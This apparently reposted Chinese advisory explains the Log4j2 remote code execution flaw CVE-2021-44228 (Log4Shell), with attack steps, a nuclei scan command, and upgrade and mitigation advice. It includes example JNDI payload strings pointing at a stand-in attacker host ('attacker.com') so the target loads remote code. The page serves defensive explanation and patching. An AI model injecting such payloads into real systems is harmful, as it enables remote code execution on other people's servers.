当前位置: 首页 > news >正文

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

CVSS评分:10.0(满分)

CVE-2021-44228_ ApacheLog4j2远程代码执行漏洞

  • 1. 漏洞原理
  • 2. 漏洞危害
  • 3. 漏洞修复
    • 升级版本修复
    • 缓释方案

1. 漏洞原理

Apache Log4j2 作为广泛使用的 Java 日志库,支持一种叫做Lookup(查找替换)的机制,用于在日志消息中动态注入变量或外部内容。

例如:

${jndi:ldap://malicious-server/exploit}

这是一个 JNDI Lookup 表达式,它让 Log4j 去调用 Java Naming and Directory Interface(JNDI) 去解析某个 URL。

然而,在受到漏洞影响的 Log4j 版本中,JNDI 查找可以从 LDAP、RMI、DNS 等远程服务器获取并执行代码。攻击 step:

  1. 攻击者构造 payload:例如 HTTP User‑Agent 或其他可被日志记录的字段包含${jndi:ldap://attacker.com/malicious}
  2. 目标应用接收请求
  3. Log4j 记录日志消息,发现字符串中的 JNDI Lookup
  4. JNDI 启动并向攻击者控制的服务器发起 LDAP(其他协议也可以)请求
  5. 攻击者服务器返回一个恶意 Java 类
  6. 恶意类被执行,导致任意代码执行(RCE)

检测方法(需要机器有出网的权限):

nuclei -u http://xxx.xxx.xxx/ -t nuclei-templates/http/cves/2021/CVE-2021-44228.yaml

2. 漏洞危害

微步标记,极度高危,应立刻修复:

3. 漏洞修复

升级版本修复

官方已发布修复版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

升级 Log4j 到修补版本:

  • 升级到 Log4j 2.16.0 或更高(2.15.0可能不稳定)
  • 更高版本(如 2.17.x)已彻底禁用了可能的远程 JNDI Lookup。

缓释方案

1、设置 JVM 系统变量或环境变量:

-Dlog4j2.formatMsgNoLookups=true

或者:

exportLOG4J_FORMAT_MSG_NO_LOOKUPS=true

这将阻止 Log4j 解析 Lookup 表达式,从而降低攻击面。

2、移除 JndiLookup 类

在无法升级时,可以手动从 JAR 包中移除 JNDI 代码:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

这能阻止 JNDI Lookup 类被加载。

http://www.jsqmd.com/news/338558/

相关文章:

  • 高性能TCP服务器设计
  • <span class=“js_title_inner“>4000万行的Linux怎么管?Linus爆料:两周合并1.2万次提交、7周专门抓Bug,“我不是世界之王,只能给内核定规矩”</span>
  • 2026年最新成都公墓代理商五大推荐:成都陵园、墓地、丧葬一条龙服务,省心选墓权威指南 - 深度智识库
  • 2026年重庆防火门窗行业优质服务商推荐:钢制防火门窗、钢质防火门窗、甲级防火门窗、钢质防火门、木质防火门、钢木质防火门选择指南 - 海棠依旧大
  • 基于机器学习的就业岗位推荐系统(源码+lw+部署文档+讲解等)
  • 【读书笔记】 《复杂》(Complexity: A Guided Tour):智能涌现的幽灵——是“自指”吗?
  • 基于人脸识别的智慧医疗预约挂号平台系统(源码+lw+部署文档+讲解等)
  • Microsoft Agent Framework在微信公众号AI辅助撰文中的应用
  • 2026包装盒设计优质服务商推荐榜 - 优质品牌商家
  • .NET开发-PDF处理不重复造轮子!PDFPatcher省去80%代码,聚焦核心业务
  • 揭秘!大数据数据标注背后的神秘力量
  • 基于SSM框架的生鲜食品商城系统(源码+lw+部署文档+讲解等)
  • C# 实现简版 Claude Code | Bash 就是一切(1)
  • 我被Hoisting“坑“过无数次,才搞明白JavaScript这个致命陷阱
  • 基于大数据的老旧小区改造需求评估与分析系统(源码+lw+部署文档+讲解等)
  • 多协议网络库设计
  • MWGA如何帮助7万行Winforms程序快速迁移到WEB前端
  • 2026年惠州企业搬家优质品牌推荐榜:惠州货物搬运搬迁公司、惠州跨市搬家公司、惠州长途搬家公司、惠州附近搬家公司选择指南 - 优质品牌商家
  • 基于大数据的美妆产品网络评价的数据采集与分析(源码+lw+部署文档+讲解等)
  • 高性能计算中的C++优化
  • 基于SSM的一线式酒店管理系统(源码+lw+部署文档+讲解等)
  • C# + Halcon 打造你的可视化机器视觉流程编辑器
  • 基于SSM二手物品交易网站系统(源码+lw+部署文档+讲解等)
  • .NET 10 与智能体时代的架构演进:以 File-Based Apps 为核心的 C# 生态重塑
  • 基于SpringBoot实现的云宠之家管理系统(源码+lw+部署文档+讲解等)
  • 告别抽卡式AI视频,这个开源项目让剧本一键变成片!
  • 2026年旧衣物开花机设备推荐:济南鑫金龙机械,纤维/废布/废棉/化纤块开花机全系供应 - 品牌推荐官
  • 2026年高空安全防护设备推荐:加安和诺垂直/水平生命线系统及装置全解析 - 品牌推荐官
  • 基于SpringCloud的分布式演唱会抢票系统(源码+lw+部署文档+讲解等)
  • 三步快速摸清陌生研究领域,轻松搞定文献调研